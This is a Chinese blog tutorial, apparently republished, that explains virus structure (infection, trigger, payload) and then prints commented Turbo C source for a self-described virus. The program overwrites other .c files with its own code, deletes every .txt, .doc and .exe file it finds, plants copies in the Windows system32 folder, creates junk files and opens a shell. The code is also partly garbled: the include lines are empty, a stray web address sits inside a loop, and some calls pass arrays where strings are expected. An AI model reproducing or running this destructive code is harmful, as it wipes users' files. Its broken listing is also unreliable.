手把手教你用c语言编写网络病毒

怎样用C语言编写病毒

一、什么是病毒

恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.

我们要对付病毒,就要了解病毒.

写一些病毒是一个很好的办法.

如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:

“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object;

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes;

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload;

}

二、 编制病毒的语言

最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看学写病毒要掌握的基础:

1).Win32编程,进程,线程,内存,等等。

2).32位汇编,以指令用法为主。386汇编就比较够用了。

3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。

4).调试技术。VC,TD32,SoftIce,等等。

要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C

以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.

三 用C编制病毒

小编给大家推荐一个学习氛围超好的地方,C/C++交流企鹅裙:870963251!适合在校大学生,小白,想转行,想通过这个找工作的加入。裙里有大量学习资料,有大神解答交流问题,每晚都有免费的直播课程

以TurboC2.0为例.它的库函数可以实现很多功能.

如以下两个函数:

1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。

2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件

在这里小编给大家一个用C语言编写的小病毒(别想做坏事哦)

C语言开发病毒程序实例

代码:

//连接头文件

#include

#include

#include

#include

#include

//拷贝文件模块

int copyfile (char *infile, char *outfile)

{

FILE *in,*out; //定义文件指针

in = fopen(infile,"r"); //打开文件

out = fopen(outfile,"w"); //建立文件

while (!feof(in)) //判断文件是否已结束

{www.ad0.cn

fputc (fgetc(in),out); //从in读一字符到out

}

fclose (in); //关闭in文件

fclose (out);//关闭out文件

return 0; //返回

}

int MakeRubbish (void)

{

int i; //声明整形变量i

FILE *fp; //文件指针fp

char *path; //路径指针

char *NewName;

char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指针数组

char *addtion = ":\";

for (i = 0; i<5; i++) //循环4次

{

char tempname[] = "XXXXXX" ; //随机名字

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建文本文件

fclose (fp); //关闭fp文件流

}

path = strcat(disk[getdisk()],addtion); //得到根编号

chdir(path); //改变工作目录

for (i = 0; i<5; i++) //循环次数

{

char tempname[] = "XXXXXX"; //串赋入数组

NewName = mktemp(tempname); //建立唯一的文件名

fp = fopen(NewName,"w"); //创建新文件

fclose (fp); //关闭文件

}

return 0; //返回

}

int CreatEXE (void)

{

int i; //整形变量

char *path; //字符指针

char *s[2] = { //重要目录

"C:\WINDOWS\system32\loveworm.exe",

"C:\WINDOWS\virusssss.com"

};

for ( i = 0; i < 2; i++) //循环控制次数

{

open(s, 0x0100,0x0080); //打开文件写入数据

copyfile ( "C_KILLER.C",s); //调用子函数实现拷贝文件数据

}

return 0;

}

int Remove (void) //去处

{

int done; //定义整形变量

int i;

struct ffblk ffblk; //声明结构体变量ffblk

char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指针数组

for (i = 0; i < 3; i++)//控制循环次数

{

done = findfirst(documenttype,&ffblk,2);//搜索目录

while (!done) //查找成功返回0

{

remove (ffblk.ff_name); //删除一个文件

done = findnext(&ffblk);

}

}

return 0;//返回

}

int Breed (void) //养殖模块

{

int done;//整形变量

struct ffblk ffblk; //声名结构变量

done = findfirst("*.c",&ffblk,2);

while (!done)

{

if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{

copyfile("C_KILLER.C",ffblk.ff_name);

}

done = findnext(&ffblk);

}

return 0;

}

int main (void) //程序入口地址

{

printf ("液虫病毒,by:云志老师. ");

Breed (); //养殖病毒

Remove (); //去处

CreatEXE ();

printf ("您能告诉我您的名字? ");

printf ("现在麻烦您输入您的名字! ");

MakeRubbish (); //调用子函数

getchar ();

clrscr (); //清除屏幕

system ("cmd");

getch ();

return 0;

}

C语言开发的病毒程序源代码加了很详细的注释,严谨的来说,算不上真正意义上的病毒,但是可以给初学C的新手参考,程序实现了几点病毒的功能。

原文链接:https://www.jianshu.com/writer#/notebooks/28627489/notes/33319831

编辑于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏领域驱动设计DDD实战进阶

领域驱动设计之仓储

38760
来自专栏数据结构与算法

P1816 忠诚

题目描述 老管家是一个聪明能干的人。他为财主工作了整整10年,财主为了让自已账目更加清楚。要求管家每天记k次账,由于管家聪明能干,因而管家总是让财主十分满意。但...

27550
来自专栏FreeBuf

oclhashcat:离线hash密码破解工具官方文档(中文版)

无聊中,就把hashcat的官方文档稍微翻译了下,方便初学的朋友查看。至于oclhashcat,它是一个离线的hash密码破解工具,与hashcat不同,它支持...

98670
来自专栏王二麻子IT技术交流园地

利用java的net包来实在数据采集的功能

最近有好多朋友问我,数据抓取用java怎么做,就是每天把新浪的内地新闻频道的新闻前20条,抓到自己的网站或系统里,今天我统一在这里提供一个简单的例子,由于在这个...

198100
来自专栏前端说吧

vue - 生命周期第二次学习与理解

14950
来自专栏Java帮帮-微信公众号-技术文章全总结

从零开始学Java-SpringMVC统一异常处理

看到 Exception 这个单词都心慌 如果有一天你发现好久没有看到Exception这个单词了,那你会不会想念她?我是不会的。她如女孩一样的令人心动又心慌...

35040
来自专栏java一日一条

编写可靠 Shell 脚本的 8 个建议

这八个建议,来源于键者几年来编写 shell 脚本的一些经验和教训。事实上开始写的时候还不止这几条,后来思索再三,去掉几条无关痛痒的,最后剩下八条。毫不夸张地说...

12220
来自专栏极客慕白的成长之路

信息安全实验室招新试题和完全解析

写个网页应该是很简单的,不管是静态网页还是带特效的网页。但是有几个问题,需要说明一下。

12830
来自专栏Linyb极客之路

并发编程之Exchanger

一、简介 Exchanger(交换者)是一个用于线程间协作的工具类。Exchanger用于进行线程间的数据交换。它提供一个同步点,在这个同步点两个线程可以交换...

38760
来自专栏菩提树下的杨过

AS1.0(2.0)中的XML示例

虽然Flash早就升级为AS3.0,但是FMS的服务端编程依然仅支持AS1.0(2.0),服务端与.net通讯的最简单方式莫过于请求一个RESTful的webS...

20860

扫码关注云+社区

领取腾讯云代金券